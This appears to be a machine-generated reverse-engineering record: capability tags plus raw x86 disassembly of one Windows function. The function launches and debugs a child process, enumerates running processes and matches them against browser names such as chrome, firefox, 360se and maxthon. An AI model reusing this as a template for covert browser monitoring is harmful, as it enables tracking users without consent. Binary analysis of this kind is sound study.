Function at 0x407610
Capabilities:
Create process on windows
Create process suspended
Enumerate processes
Get process image filename
Resume thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x427c1d
mov eax, dword fs:[0]
push eax
sub esp, 0x78c
mov eax, dword [0x442060]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [0x4430ec], 8
push 0x44
mov esi, 0x4430d8
lea eax, [ebp - 0x490]
push 0
mov edi, esi
cmovae edi, dword [0x4430d8]
push eax
mov dword [ebp - 0x424], 0
call sub.MSVCR110.dll_memset
xorps xmm0, xmm0
add esp, 0xc
mov dword [ebp - 0x490], 0x44
movq qword [ebp - 0x4b8], xmm0
movq qword [ebp - 0x4b0], xmm0
call fcn.004073a0
mov ebx, dword [sym.imp.KERNEL32.dll_CreateProcessW]
test al, al
je 0x407c7d
lea eax, [ebp - 0x4b8]
push eax
lea eax, [ebp - 0x490]
push eax
push 0
push 0
push 0x4000609
push 1
push 0
push 0
push edi
push 0
call ebx
test eax, eax
je 0x407c7d
push 0x5c
lea eax, [ebp - 0x514]
push 0
push eax
mov dword [ebp - 0x518], 0
call sub.MSVCR110.dll_memset
movss xmm3, dword [0x436610]
movss xmm2, dword [0x436614]
lea ecx, [ebp - 0x794]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x76c], 0
mov dword [ebp - 0x768], 0
mov dword [esp + 4], 0x40100000
call fcn.00408b70
mov dword [ebp - 4], 0
push dword [ebp - 0x4b0]
lea ecx, [ebp - 0x794]
call fcn.00408c70
mov ecx, dword [ebp - 0x4b0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4b0]
sub esp, 8
lea ecx, [ebp - 0x444]
mov dword [ebp - 0x754], eax
mov dword [ebp - 0x758], eax
mov dword [ebp - 0x444], 0
mov dword [ebp - 0x43c], 0
mov dword [ebp - 0x438], 0
mov dword [ebp - 0x434], 0
call fcn.00408570
mov byte [ebp - 4], 1
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [sym.imp.KERNEL32.dll_ContinueDebugEvent]
mov esi, dword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
push 0x1388
lea eax, [ebp - 0x518]
push eax
call esi
test eax, eax
jne 0x4077cb
push 0xa
call edi
push 0x1388
lea eax, [ebp - 0x518]
push eax
call esi
test eax, eax
je 0x4077b5
mov eax, dword [ebp - 0x518]
dec eax
je 0x407bff
sub eax, 2
je 0x407808
sub eax, 2
jne 0x407ad7
push dword [ebp - 0x514]
lea ecx, [ebp - 0x794]
call fcn.00408d40
push dword [ebp - 0x514]
call dword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
jmp 0x407ad7
movzx eax, byte [0x444d97]
push eax
lea eax, [ebp - 0x50c]
push eax
lea eax, [ebp - 0x760]
push eax
lea ecx, [ebp - 0x444]
call fcn.00408fd0
mov eax, dword [section..data]
mov ecx, section..data
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x74c], eax
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x4ec]
test eax, eax
je 0x40786a
cmp word [ebp - 0x4e8], 0
push eax
lea ecx, [ebp - 0x74c]
je 0x407865
call fcn.00408240
jmp 0x40786a
call fcn.00408290
mov eax, dword [ebp - 0x74c]
mov ecx, 0x42db2c
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40789b
test dx, dx
je 0x407897
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40789b
add eax, 4
add ecx, 4
test dx, dx
jne 0x407875
xor eax, eax
jmp 0x4078a0
sbb eax, eax
or eax, 1
test eax, eax
sete al
test al, al
je 0x407912
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x420], ax
lea eax, [ebp - 0x41e]
push eax
call sub.MSVCR110.dll_memset
add esp, 0xc
lea eax, [ebp - 0x420]
push 0x104
push eax
push dword [ebp - 0x508]
call dword [sym.imp.PSAPI.DLL_GetProcessImageFileNameW]
lea ecx, [ebp - 0x420]
lea edx, [ecx + 2]
jmp 0x4078f0
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4078f0
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x420]
push eax
lea ecx, [ebp - 0x74c]
call fcn.004087a0
mov eax, dword [ebp - 0x74c]
mov ecx, 0x42db2c
lea ecx, [ecx]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x407946
test dx, dx
je 0x407942
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x407946
add eax, 4
add ecx, 4
test dx, dx
jne 0x407920
xor eax, eax
jmp 0x40794b
sbb eax, eax
or eax, 1
test eax, eax
sete al
test al, al
je 0x4079d2
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push eax
call sub.MSVCR110.dll_memset
add esp, 0xc
push dword [ebp - 0x514]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0x104
lea eax, [ebp - 0x218]
push eax
push 0
push esi
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExW]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x218]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4079b0
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x74c]
call fcn.004087a0
lea ecx, [ebp - 0x74c]
call fcn.00408360
mov esi, dword [ebp - 0x74c]
mov ecx, 1
sub ecx, dword [esi - 4]
mov eax, dword [esi - 8]
or eax, ecx
jge 0x407a05
push 0
lea ecx, [ebp - 0x74c]
call fcn.00408660
mov esi, dword [ebp - 0x74c]
push esi
lea ecx, [ebp - 0x4a8]
call fcn.00406a80
lea ecx, [ebp - 0x4a8]
mov byte [ebp - 4], 3
call fcn.004074a0
mov byte [ebp - 4], 2
cmp dword [ebp - 0x494], 8
mov bl, al
jb 0x407a3e
push dword [ebp - 0x4a8]
call dword [sym.imp.MSVCR110.dll_void___cdecl_operator_delete_void__]
add esp, 4
xor eax, eax
mov dword [ebp - 0x494], 7
mov dword [ebp - 0x498], 0
mov word [ebp - 0x4a8], ax
test bl, bl
je 0x407a75
add esi, 0xfffffff0
mov byte [ebp - 4], 1
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jmp 0x407ac7
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessId]
push ecx
push dword [ebp - 0x508]
call ebx
push eax
lea ecx, [ebp - 0x794]
call fcn.00408cd0
mov eax, dword [ebp - 0x758]
cmp eax, dword [ebp - 0x754]
je 0x407aa5
push eax
call dword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
push dword [ebp - 0x508]
call ebx
add esi, 0xfffffff0
mov dword [ebp - 0x758], eax
mov byte [ebp - 4], 1
lea ecx, [esi + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x407ad1
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov ebx, dword [sym.imp.KERNEL32.dll_ContinueDebugEvent]
xor esi, esi
lea esp, [esp]
push 0x10002
push dword [ebp - 0x510]
push dword [ebp - 0x514]
call ebx
test eax, eax
jne 0x407b01
push 0x64
call edi
inc esi
cmp esi, 3
jl 0x407ae0
push 0x60
lea eax, [ebp - 0x518]
push 0
push eax
call sub.MSVCR110.dll_memset
add esp, 0xc
cmp dword [ebp - 0x790], 0
jne 0x40779d
mov edi, dword [ebp - 0x444]
mov esi, dword [edi]
cmp esi, edi
je 0x407b44
lea ecx, [ecx]
mov eax, dword [esi + 8]
test eax, eax
je 0x407b3e
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [esi]
cmp esi, edi
jne 0x407b30
mov eax, dword [ebp - 0x4b8]
test eax, eax
je 0x407b5c
lea ecx, [ebp - 0x424]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 0x754]
call dword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
push dword [ebp - 0x4b8]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push dword [ebp - 0x4b4]
call ebx
mov eax, dword [ebp - 0x43c]
mov ebx, dword [sym.imp.MSVCR110.dll_void___cdecl_operator_delete_void__]
test eax, eax
je 0x407bb2
push eax
call ebx
add esp, 4
mov dword [ebp - 0x43c], 0
mov dword [ebp - 0x438], 0
mov dword [ebp - 0x434], 0
mov eax, dword [ebp - 0x444]
mov ecx, dword [eax]
mov dword [eax], eax
mov eax, dword [ebp - 0x444]
mov dword [eax + 4], eax
mov eax, dword [ebp - 0x444]
mov dword [ebp - 0x440], 0
cmp ecx, eax
je 0x407bf4
lea esp, [esp]
mov esi, dword [ecx]
push ecx
call ebx
mov eax, dword [ebp - 0x444]
add esp, 4
mov ecx, esi
cmp esi, eax
jne 0x407be0
push eax
call ebx
add esp, 4
jmp 0x408180
test byte [ebp - 0x508], 1
je 0x407c20
push 0x80010001
push dword [ebp - 0x510]
push dword [ebp - 0x514]
call ebx
jmp 0x4077a3
cmp dword [ebp - 0x50c], 0xc0000005
jne 0x407c44
push 0x80010001
push dword [ebp - 0x510]
push dword [ebp - 0x514]
call ebx
jmp 0x4077a3
cmp dword [ebp - 0x4bc], 0
je 0x407c65
push 0x10001
push dword [ebp - 0x510]
push dword [ebp - 0x514]
call ebx
jmp 0x4077a3
push 0x10002
push dword [ebp - 0x510]
push dword [ebp - 0x514]
call ebx
jmp 0x4077a3
call fcn.004072e0
cmp dword [0x4430ec], 8
push 0x44
cmovae esi, dword [0x4430d8]
lea eax, [ebp - 0x500]
push 0
push eax
call sub.MSVCR110.dll_memset
add esp, 0xc
lea eax, [ebp - 0x4a0]
push eax
lea eax, [ebp - 0x500]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
xorps xmm0, xmm0
push esi
push 0
mov dword [ebp - 0x500], 0x44
movq qword [ebp - 0x4a0], xmm0
movq qword [ebp - 0x498], xmm0
call ebx
test eax, eax
jne 0x407ceb
or eax, 0xffffffff
jmp 0x408191
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call ebx
push eax
mov ecx, 0x4430fc
call fcn.00408d40
push dword [ebp - 0x498]
mov ecx, 0x4430fc
call fcn.00408d40
movss xmm3, dword [0x436610]
movss xmm2, dword [0x436614]
sub esp, 0xc
lea ecx, [ebp - 0x794]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x76c], 0
mov dword [ebp - 0x768], 0
mov dword [esp + 4], 0x40100000
call fcn.00408b70
mov dword [ebp - 4], 4
call ebx
push eax
lea ecx, [ebp - 0x794]
call fcn.00408c70
mov esi, eax
call ebx
mov dword [esi], eax
push dword [ebp - 0x498]
lea ecx, [ebp - 0x794]
call fcn.00408c70
mov ecx, dword [ebp - 0x498]
mov dword [eax], ecx
push dword [ebp - 0x49c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push dword [ebp - 0x4a0]
call ebx
mov eax, dword [ebp - 0x4a0]
test eax, eax
je 0x407dc2
lea ecx, [ebp - 0x424]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0x64
push eax
mov dword [ebp - 0x764], eax
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, 0x102
jne 0x408170
mov ebx, dword [sym.imp.MSVCR110.dll_wcsstr]
push 0
push 2
mov dword [ebp - 0x748], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x748]
push eax
push esi
mov dword [ebp - 0x754], esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x407e30
push esi
call edi
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x408157
lea edi, [ebp - 0x724]
shr edi, 0x10
mov byte [ebp - 0x74d], 1
mov dword [ebp - 0x758], edi
jmp 0x407e50
mov eax, dword [section..data]
mov ecx, section..data
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x74c], esi
mov byte [ebp - 4], 5
test edi, edi
jne 0x407e91
lea eax, [ebp - 0x724]
movzx edi, ax
mov ecx, edi
call fcn.00409860
test eax, eax
je 0x407ec8
push edi
push eax
lea ecx, [ebp - 0x74c]
call fcn.004086d0
jmp 0x407ec2
lea ecx, [ebp - 0x724]
lea edx, [ecx + 2]
lea ebx, [ebx]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x407ea0
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x724]
push eax
lea ecx, [ebp - 0x74c]
call fcn.004087a0
mov esi, dword [ebp - 0x74c]
mov byte [ebp - 4], 6
mov edi, dword [esi - 0xc]
test edi, edi
js 0x4081ad
mov eax, dword [esi - 8]
mov ecx, 1
sub ecx, dword [esi - 4]
sub eax, edi
or eax, ecx
jge 0x407efa
push edi
lea ecx, [ebp - 0x74c]
call fcn.00408660
mov esi, dword [ebp - 0x74c]
lea eax, [edi + 1]
push eax
push esi
call dword [sym.imp.MSVCR110.dll__wcslwr_s]
add esp, 8
cmp edi, dword [esi - 8]
jg 0x4081ad
xor eax, eax
mov dword [esi - 0xc], edi
mov word [esi + edi*2], ax
cmp dword [esi - 0xc], eax
jl 0x407f38
push str.explor
push esi
call ebx
add esp, 8
test eax, eax
je 0x407f38
sub eax, esi
sar eax, 1
jns 0x4080ad
cmp dword [esi - 0xc], 0
jl 0x40801d
push str.opera
push esi
call ebx
add esp, 8
test eax, eax
je 0x407f5b
sub eax, esi
sar eax, 1
jns 0x4080ad
cmp dword [esi - 0xc], 0
jl 0x40801d
push str.firefox
push esi
call ebx
add esp, 8
test eax, eax
je 0x407f7e
sub eax, esi
sar eax, 1
jns 0x4080ad
cmp dword [esi - 0xc], 0
jl 0x40801d
push 0x42db94
push esi
call ebx
add esp, 8
test eax, eax
je 0x407fa1
sub eax, esi
sar eax, 1
jns 0x4080ad
cmp dword [esi - 0xc], 0
jl 0x40801d
push str.chrome
push esi
call ebx
add esp, 8
test eax, eax
je 0x407fc0
sub eax, esi
sar eax, 1
jns 0x4080ad
cmp dword [esi - 0xc], 0
jl 0x40801d
push str.360se
push esi
call ebx
add esp, 8
test eax, eax
je 0x407fdf
sub eax, esi
sar eax, 1
jns 0x4080ad
cmp dword [esi - 0xc], 0
jl 0x40801d
push str.theworld
push esi
call ebx
add esp, 8
test eax, eax
je 0x407ffe
sub eax, esi
sar eax, 1
jns 0x4080ad
cmp dword [esi - 0xc], 0
jl 0x40801d
push str.maxth
push esi
call ebx
add esp, 8
test eax, eax
je 0x40801d
sub eax, esi
sar eax, 1
jns 0x4080ad
push ecx
push str.kinstool
lea ecx, [ebp - 0x74c]
call fcn.00408320
test eax, eax
jns 0x4080ad
push ecx
push str.rundll32
lea ecx, [ebp - 0x74c]
call fcn.00408320
test eax, eax
jns 0x4080ad
push ecx
push str.conime
lea ecx, [ebp - 0x74c]
call fcn.00408320
test eax, eax
jns 0x4080ad
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, dword [ebp - 0x740]
cmp edi, eax
je 0x4080b3
push edi
mov ecx, 0x4430fc
call fcn.00408c30
test eax, eax
jne 0x408090
push dword [ebp - 0x730]
lea ecx, [ebp - 0x794]
call fcn.00408c30
test eax, eax
jne 0x4080ff
push ecx
push edi
mov ecx, 0x4430fc
call fcn.00408cd0
lea ecx, [ebp - 0x74c]
mov byte [ebp - 4], 4
call fcn.00408220
jmp 0x4080dd
mov edi, dword [ebp - 0x740]
push ecx
push edi
mov ecx, 0x4430fc
call fcn.00408cd0
add esi, 0xfffffff0
mov byte [ebp - 4], 4
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4080dd
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x748]
push eax
push dword [ebp - 0x754]
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x408138
mov edi, dword [ebp - 0x758]
jmp 0x407e50
push edi
lea ecx, [ebp - 0x794]
mov byte [ebp - 0x74d], 0
call fcn.00408c70
mov ecx, dword [ebp - 0x740]
add esi, 0xfffffff0
mov dword [eax], ecx
mov byte [ebp - 4], 4
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x408138
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
push dword [ebp - 0x754]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [ebp - 0x74d], 0
jne 0x408170
push 0x64
push dword [ebp - 0x764]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x407df2
push dword [ebp - 0x4a0]
call edi
push dword [ebp - 0x49c]
call edi
lea ecx, [ebp - 0x794]
call fcn.00408f80
mov eax, dword [ebp - 0x424]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004258f6
mov esp, ebp
pop ebp
ret
push 0x80070057
call fcn.004099f0
int3